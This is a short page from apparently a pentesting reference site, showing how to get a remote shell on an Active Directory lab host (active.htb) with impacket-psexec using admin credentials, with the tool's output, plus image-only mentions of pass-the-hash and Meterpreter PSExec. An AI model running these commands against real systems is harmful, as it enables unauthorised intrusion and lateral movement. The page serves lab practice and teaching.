> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/active-directory/ad-shell.md).

# AD Shell

### Getting Shell

Now we have writable shares and credentials so, we can use psexec to get the shell as well.

{% embed url="<https://www.kali.org/tools/impacket-scripts/>" %}

```
┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-psexec active.htb/administrator@10.10.10.100
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file QDdDNPEh.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service REEo on 10.10.10.100.....
[*] Starting service REEo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> 
```

<figure><img src="/files/h6xSlrjd8R31PU85LtW4" alt=""><figcaption></figcaption></figure>

#### Pass the hash using Psexec

<figure><img src="/files/1wRAPs5F6NxjTfylSQU2" alt=""><figcaption></figcaption></figure>

### Meterpreter PSExec

We can also use Meterpreter PSexec to connect with the target. Can also pass the hash

<figure><img src="/files/vF7m61MW3Xrcu2l7li8b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/WzBmZYDJBjes28W4h1RM" alt=""><figcaption></figcaption></figure>